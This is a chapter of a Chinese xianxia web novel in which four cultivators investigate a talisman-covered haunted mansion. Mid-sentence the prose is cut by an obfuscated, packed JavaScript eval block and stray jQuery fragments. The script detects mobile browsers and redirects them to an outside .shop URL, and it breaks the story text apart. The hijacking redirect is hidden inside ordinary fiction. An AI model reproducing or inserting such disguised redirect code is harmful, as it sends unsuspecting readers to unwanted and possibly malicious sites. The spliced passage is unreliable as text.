隔天早晨,中年男人再次出现。四人跟着他,很快到了那个所谓“闹鬼厉害”的宅邸。
一进门,便有丫鬟迎上来,低眉顺眼唤那个中年男人管家。管家抬手挥退,带着陈见微四人进了正屋。
只见正面坐着一位比管家年龄稍长的男人,眉头紧锁,他虽一脸疲态,久居上位的气势却仍在,想来便是这家的老爷。
“诸位仙长请坐,今日请各位来的目的想必各位已经听王管家说了。”老爷眼下泛着浓重的青黑,他揉了揉太阳穴,“府中邪祟扰我多时,各位仙长定要替我除了这邪祟啊!”
这位老爷倒是与先前的周老爷不同,身材消瘦,精神头瞧着也差。
陈见微默默吞了口唾沫。能让这么有钱的人都难办的东西,他们不会栽在这了吧。哎,都怪老头!
想着她斜了一眼老头。
老头却没感受到半分。此刻,他正听见老爷报出最终报酬,顿时入了迷,笑容如沐春风,仿佛登上极乐一般。
“我们定竭尽所能,还请老爷带我们去看看,鬼怪出没的地方。”
老爷叹出一口浊气,随后挥了挥手。王管家应了一声,从老爷身旁往下走去。朝四人躬身,“各位仙长,请随我来。”
管家带着几人往后方走去。一路上,陈见微的目光一直停在四面八方的墙上。从进门开始,每一面墙上都贴着数量不等的符。上面的字她没看懂,应该是这个世界传统的符箓写法。
“管家,方才听你说起之前的修士都未曾驱除邪祟。那如此多的废符为何不撕了,难不成这满院子的符可是起别的作用?”
闻言管家没有回头,他身躯顿了一下,随后才道,“这些都是老爷请人布置张贴的,虽无法根除,但能压制得住那邪祟。”
陈见微点了点头,没再说什么。反而身后三人看了这满院子的符后神情警惕起来。
行至转角,谢云的衣袖从墙面轻轻擦过,待他收回手时,那张黄符已经无声没入袖中,前方的王管家仍在说话,谁也没有回头。
此番举动无人察觉。
越往后院走,就越能感觉一阵阴风袭面而来。不知从哪个位置开始,墙壁上就开始出现细小的划痕。刚开始很容易让人误以为是年代久远留下的痕迹,可越往里去,周遭的环境就变化越大。
走到最后,那些痕迹越发严重。
“这些是打斗的痕迹吧。”顾长安忽然开口。
“这些痕迹都是那些修士与邪祟缠斗时所留下。一开始老爷还会命人修缮,到最后,每一次请人都会变成这样甚至更严重,老爷也不管了。”管家走在最前面,声音被阴风吹散,听起来无比飘渺。
老头走在管家后面,其次是陈见微,最后是顾长安与谢云。
“那……那些修士,都被那邪祟所重伤吗?”陈见微没忍住,问了一嘴。
管家闻言叹出一口气,朝背后瞥了一眼,“重伤好歹还有口气,有些人却是……”后面的话管家没再继续说,但在场四人都清楚。
陈见微表情也渐渐变得凝重,视线直直锁定不远处的那个院子。还没到那院口,仿佛都能看见那院子周围被阴气笼罩。
谢云右手松松地搭在剑柄上,剑身与腰间玉佩碰撞发出一声响。他的视线也轻飘飘落在那座院子上。他的脸色在那一瞬间发生变化,与先前的蹙眉思索有所区别,这一次换上了几分严肃。
这一声轻响把顾长安的目光吸引了去,他垂眸看着落后他一步的谢云。不知怎的,他瞥眼看去,感觉谢云察觉到他的视线,然后向他看过来时总有一种偷摸的感觉。
像干坏事被抓的即视感。
他能感觉到那道视线在他身上停留了几秒,随后移开。
这种轻飘飘却又让人无法忽视的压迫感,他再熟悉不过。
刚拜入师尊门下时,师尊只消这样看他一眼,他便回去多练一整夜的剑。后来相处久了,他才知道谢愠那一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824247|211220||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼的眼神并非不悦,只是天生神情冷淡。
虽性子冷淡,但师尊给他最适合的功法,为他指点迷津。他才发现谢愠就是这样的,如果对常人,根本连个眼神都不施舍。
忆起未出峰前的往事,顾长安表情从警惕渐渐转为放松。
由于后面二人走路一点声响都没有,陈见微忽然感觉背后爬上一丝凉意。她猛地转头,导致顾长安来不及变换表情。
看见顾长安那罕见的柔和,陈见微表情一滞,眉头没忍住皱起来,仿佛看见鬼一样,“你……你被鬼附身了吗?”
顾长安表情僵住,嘴角抽了一下,随即反应过来飞速调整好表情,抵唇咳嗽一声,“没什么,忆起一些与师尊的往事。”
“你不会是觉得我们打不过,要摇你师尊过来吧?”陈见微拍了拍顾长安的肩,“此时虽棘手,但我们都还没试就摇大佬,这样真的好吗?”
谢云搭在剑柄上的指尖动了动。
“你在说什么?”顾长安一脸懵,应激一般拍掉陈见微的手,“师尊日理万机,宗门事务繁忙,此等小事何须师尊出手。”
陈见微被顾长安拍掉手也没在意,只是转回身,嘟囔了一句:“要是咱们真解决不了怎么办,他总不能让你这个宝贝弟子出事吧?”
陈见微的声音虽小,但在修者耳中依旧响亮无比。
“师尊定不会弃我于不顾,只是我不想劳烦他!”顾长安听到陈见微说出这句话时脸都憋红了。
“哦,那他老人家还挺好。”陈见微摆了摆手,随意道。
顾长安像是被踩了尾巴的猫,直接把脸扭向一边,不再回复。
听到陈见微对自己的称呼时,走在最后方的谢云身形一顿。视线轻飘飘从少女背影划过,什么都没解释,继续研究起周围的布置。
越接近最里面的院子,符纸贴得越密。况且这些符不是随意贴,符纸的位置更像刻意设置,被人贴成类似阵法的巨大圆形。